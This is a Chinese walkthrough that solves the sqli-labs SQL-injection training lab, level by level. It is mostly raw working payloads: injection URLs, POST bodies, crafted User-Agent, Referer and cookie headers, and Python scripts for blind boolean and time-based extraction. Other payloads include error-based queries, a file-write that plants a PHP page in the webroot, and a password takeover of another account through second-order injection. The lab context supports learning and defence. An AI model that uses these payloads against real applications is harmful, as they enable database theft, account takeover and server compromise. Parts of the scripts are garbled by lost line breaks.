sqli-labs通关记录
环境搭建：https://www.cnblogs.com/kagari/p/11910749.html
总体感受：sqli-labs还是只适合入门
在此基础上添加了一个flag数据库，库名flag，表名flag，字段名flag
Less-1
http://172.16.124.149/Less-1/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23
Less-2
http://172.16.124.149/Less-2/?id=0%20union%20select%201,2,flag%20from%20flag.flag
Less-3
http://172.16.124.149/Less-3/?id=0%27)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-4
http://172.16.124.149/Less-4/?id=0%22)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-5
http://172.16.124.149/Less-5/?id=0%27%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-6
http://172.16.124.149/Less-6/?id=0%22%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-7
secure_file_priv=/var/www/html
/var/www/html root:root 755
/var/www/html/tmp root:root 777
http://172.16.124.149/Less-7/?id=1%27))%20union%20select%201,2,%27%3C?php%20phpinfo();%27%20into%20outfile%20%27/var/www/html/tmp/phpinfo.php%27%23
Less-8
import requests
url='http://172.16.124.149/Less-8/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0'^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'You are in' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-9
import requests
import time
url='http://172.16.124.149/Less-9/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0'^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23".format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-10
import requests
import time
url='http://172.16.124.149/Less-10/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-11
post:
passwd=&uname=' union select 1,(select flag from flag.flag)%23
Less-12
post:
passwd=&uname=") union select 1,(select flag from flag.flag)%23
Less-13
post:
passwd=&uname=') union select%201,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-14
post:
passwd=&uname=" union select%201,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-15
import requests
import time
url='http://172.16.124.149/Less-15/'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="'^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.02))#".format(i=i,mid=hex(mid))
data={'passwd':'','uname':payload}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-16
import requests
import time
url='http://172.16.124.149/Less-16/'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='")^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.02))#'.format(i=i,mid=hex(mid))
data={'passwd':'','uname':payload}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-17
post:
passwd='^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#&uname=Dhakkan
Less-18
POST /Less-18/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 22
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: '^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2))),'','')#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.124.149/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close uname=Dumb&passwd=Dumb
Less-19
POST /Less-19/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 22
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: '^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2))),'')#
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close uname=Dumb&passwd=Dumb
Less-20
GET /Less-20/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 0
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
Cookie: uname='^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Less-21
base64编码：')^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#
GET /Less-21/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 0
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
Cookie: uname=JyleKHNlbGVjdCBjb3VudCgqKSBmcm9tIG15c3FsLnVzZXIgZ3JvdXAgYnkgY29uY2F0KChzZWxlY3QgZmxhZyBmcm9tIGZsYWcuZmxhZyksZmxvb3IocmFuZCgwKSoyKSkpIw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Less-22
base64编码："^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#
GET /Less-22/ HTTP/1.1
Host: 172.16.124.149
Content-Length: 0
Cache-Control: max-age=0
Origin: http://172.16.124.149
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer:
Cookie: uname=Il4oc2VsZWN0IGNvdW50KCopIGZyb20gbXlzcWwudXNlciBncm91cCBieSBjb25jYXQoKHNlbGVjdCBmbGFnIGZyb20gZmxhZy5mbGFnKSxmbG9vcihyYW5kKDApKjIpKSkj==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Less-23
http://172.16.124.149/Less-23/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag;%00
Less-24
由于字段长度限制20位，该题只能做到任意用户密码修改
注册：admin'#/123
登陆后修改密码：current_password=123&password=admin&re_password=admin&submit=Reset
admin的密码变为admin
update语句：UPDATE users SET PASSWORD='admin' where username='admin'#' and password='123'
Less-25
http://172.16.124.149/Less-25/?id=%27%20union%20select%201,flag,3%20from%20flag.flag%23
Less-25a
http://1172.16.124.149/Less-25a/?id=0%20union%20select%201,2,flag%20from%20flag.flag
Less-26
http://172.16.124.149/Less-26/?id=%27%a0union%a0select%a01,flag,3%a0from%a0flag.flag;%00
Less-26a
http://127.0.0.1:8080/Less-26a/?id=0%27)union%a0select%a01,2,flag%a0from%a0flag.flag;%00
Less-27
http://172.16.124.149/Less-27/?id=%27%a0uNion%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-27a
http://172.16.124.149/Less-27a/?id=%22%a0uNion%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-28
http://172.16.124.149/Less-28/?id=0%27)%a0uniOn%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-28a
http://172.16.124.149/Less-28a/?id=0%27)%a0uniOn%a0sElect%a01,flag,3%a0from%a0flag.flag;%00
Less-29
http://172.16.124.149/Less-29/?id=%27%20union%20select%201,flag,3%20from%20flag.flag;%00
Less-30
http://172.16.124.149/Less-30/?id=%22%20union%20select%201,flag,3%20from%20flag.flag%23
Less-31
http://172.16.124.149/Less-31/?id=%22)%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-32
http://172.16.124.149/Less-32/?id=%df%27%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-33
http://172.16.124.149/Less-33/?id=%df%27%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-34
post:
passwd=&uname=%df%27%20%20union%20select%20flag,3%20from%20flag.flag%23
Less-35
http://172.16.124.149/Less-35/?id=0%20union%20select%201,flag,3%20from%20flag.flag%23
Less-36
http://172.16.124.149/Less-36/?id=%df%27%20%20union%20select%201,flag,3%20from%20flag.flag%23
Less-37
post:
passwd=&uname=%df%27%20%20union%20select%20flag,3%20from%20flag.flag%23
Less-38
http://172.16.124.149/Less-38/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23
Less-39
http://172.16.124.149/Less-39/?id=0%20union%20select%201,2,flag%20from%20flag.flag%23
Less-40
http://172.16.124.149/Less-40/?id=%27)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-41
http://172.16.124.149/Less-41/?id=0%20union%20select%201,2,flag%20from%20flag.flag%23
Less-42
post:
login_password='^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#&login_user=Dhakkan&mysubmit=Login
Less-43
post:
login_password=')^(select count(*) from mysql.user group by concat((select flag from flag.flag),floor(rand(0)*2)))#&login_user=Dhakkan&mysubmit=Login
Less-44
import requests
import time
url='http://172.16.124.149/Less-44/login.php'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="'^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.2))#".format(i=i,mid=hex(mid))
data={'login_password':payload,'login_user':'Dhakkan','mysubmit':'Login'}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-45
import requests
import time
url='http://172.16.124.149/Less-45/login.php'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="')^(substr((select binary flag from flag.flag),{i},1)>binary {mid} and sleep(0.2))#".format(i=i,mid=hex(mid))
data={'login_password':payload,'login_user':'Dhakkan','mysubmit':'Login'}
t1=time.time()
r=requests.post(url=url,data=data)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-46
http://172.16.124.149/Less-46/?sort=1,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));
Less-47
http://172.16.124.149/Less-47/?sort=%27,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));%23
Less-48
import requests
import time
url='http://172.16.124.149/Less-48/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-49
import requests
import time
url='http://172.16.124.149/Less-49/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%27%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-50
http://172.16.124.149/Less-50/?sort=1,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));
Less-51
http://172.16.124.149/Less-51/?sort=%27,(1%20regexp%20if((select%20count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))),1,0x00));%23
Less-52
import requests
import time
url='http://172.16.124.149/Less-52/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-53
import requests
import time
url='http://172.16.124.149/Less-53/?sort=1'
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="%27%2C(1+regexp+if((substr((select+binary+flag+from+flag.flag)%2C{i}%2C1)%3Ebinary+{mid})%2C1%2C0x00))%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'admin' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-54
http://172.16.124.149/Less-54/index.php?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23
Less-55
http://172.16.124.149/Less-55/?id=0)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-56
http://172.16.124.149/Less-56/?id=%27)%20union%20select%201,2,flag%20from%20flag.flag%23
Less-57
http://172.16.124.149/Less-57/?id=%22%20union%20select%201,2,flag%20from%20flag.flag%23
Less-58
http://172.16.124.149/Less-58/index.php?id=0%27%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-59
http://172.16.124.149/Less-59/?id=0%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-60
http://172.16.124.149/Less-60/?id=%22)%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-61
http://172.16.124.149/Less-61/?id=%27))%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select%20flag%20from%20flag.flag),floor(rand(0)*2))%23
Less-62
import requests
import time
url='http://172.16.124.149/Less-62/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0%27)^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-63
import requests
import time
url='http://172.16.124.149/Less-63/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0%27^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-64
import requests
import time
url='http://172.16.124.149/Less-64/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload="0))^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23".format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
Less-65
import requests
import time
url='http://172.16.124.149/Less-65/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0")^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid})%23'.format(i=i,mid=hex(mid))
r=requests.get(url=url+payload)
if 'dhakkan' in r.text:
left=mid
else:
right=mid
flag+=chr(right)
print flag
sqli-labs通关记录的更多相关文章
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- SQLI LABS Basic Part(1-22） WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 靶场练习-Sqli-labs通关记录（盲注）
0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (5)第五关: 由于此处与前四关有明显的差别,故在此我 ...
- 靶场练习-Sqli-labs通关记录（1-4关）
0x00 实验环境 本地:Win 10 靶场:sqli-labs(共65关,每日一关) 0x02 通关记录 简介:一天一关! (1)第一关: 简单的 ...
- upload-labs通关记录
upload-labs通关记录 一句话木马解读 一般的解题步骤 或者可以直接用字典爆破一下 https://github.com/TheKingOfDuck/fuzzDicts/blob/master ...
- SQL注入系列：SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli labs系列-less-5&6 报错注入法（上）
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
随机推荐
- Python 生成动态变量 调用动态变量
动态生成变量: variable = locals() for i in range(10): variable['A'+str(i)] = 123 print(A8) 调用动态变量: v = loc ...
- Linux学习笔记：cut命令
基础 功能:文件内容查看,显示行中指定部分,删除文件中指定字段.cut 命令用于显示每行从开头算起 a - b 的文字. 语法: cut [-bn] [file.txt] cut [-c] [file ...
- form-create教程:自定义布局,实现一行多个组件
本文将介绍form-create如何自定义布局,实现一行多个组件 form-create 是一个可以通过 JSON 生成具有动态渲染.数据收集.验证和提交功能的表单生成器.并且支持生成任何 Vue 组 ...
- Uniswap详解之一（概览）
一.Uniswap简介 Uniswap是以太坊上的DEX实现,基于"恒定乘积自动做市"模型,与传统的中心化和DEX具有很大的差别. 主要特点: 无订单簿,无做市商 兑换币具有很低的 ...
- oracle通过一个字段分组，取另一个字段的最大值
select * from bdcdj.lqentry1 a where 顺序号 in (select max(顺序号) from bdcdj.lqentry1 b WHERE b.archival ...
- Image Processing and Analysis_15_Image Registration：Image matching as a diffusion process: An analogy with Maxwell's demons——1998
此主要讨论图像处理与分析.虽然计算机视觉部分的有些内容比如特 征提取等也可以归结到图像分析中来,但鉴于它们与计算机视觉的紧密联系,以 及它们的出处,没有把它们纳入到图像处理与分析中来.同样,这里面也有 ...
- (转载)关于FLASH寿命的读写方法
NOR(或非)和NAND(与非)是市场上两种主要的Flash闪存,sNORFLASH 和CPU之间不需要其他电路控制,NOR flash可以芯片内执行程序,而NAND FLASH 和CPU 的接口必须 ...
- VMware Workstation 14 安装使用 （小白安装使用教程）
在一台 PC 上运行多个操作系统,借助 VMware Workstation Pro,您可以在同一台 Windows 或 Linux PC 上同时运行多个操作系统.创建真实的 Linux 和 Wind ...
- python-----多进程笔记
多进程笔记: 在Python中多进程的创建方式对比: 1.在Python中,可以通过os.fork()创建子进程,但是这种方式智能在'linux'和'unix'以及'mac'下面使用,不能跨平台,所以 ...
- PAT Basic 1053 住房空置率 (20 分)
在不打扰居民的前提下,统计住房空置率的一种方法是根据每户用电量的连续变化规律进行判断.判断方法如下: 在观察期内,若存在超过一半的日子用电量低于某给定的阈值 e,则该住房为“可能空置”: 若观察期超过 ...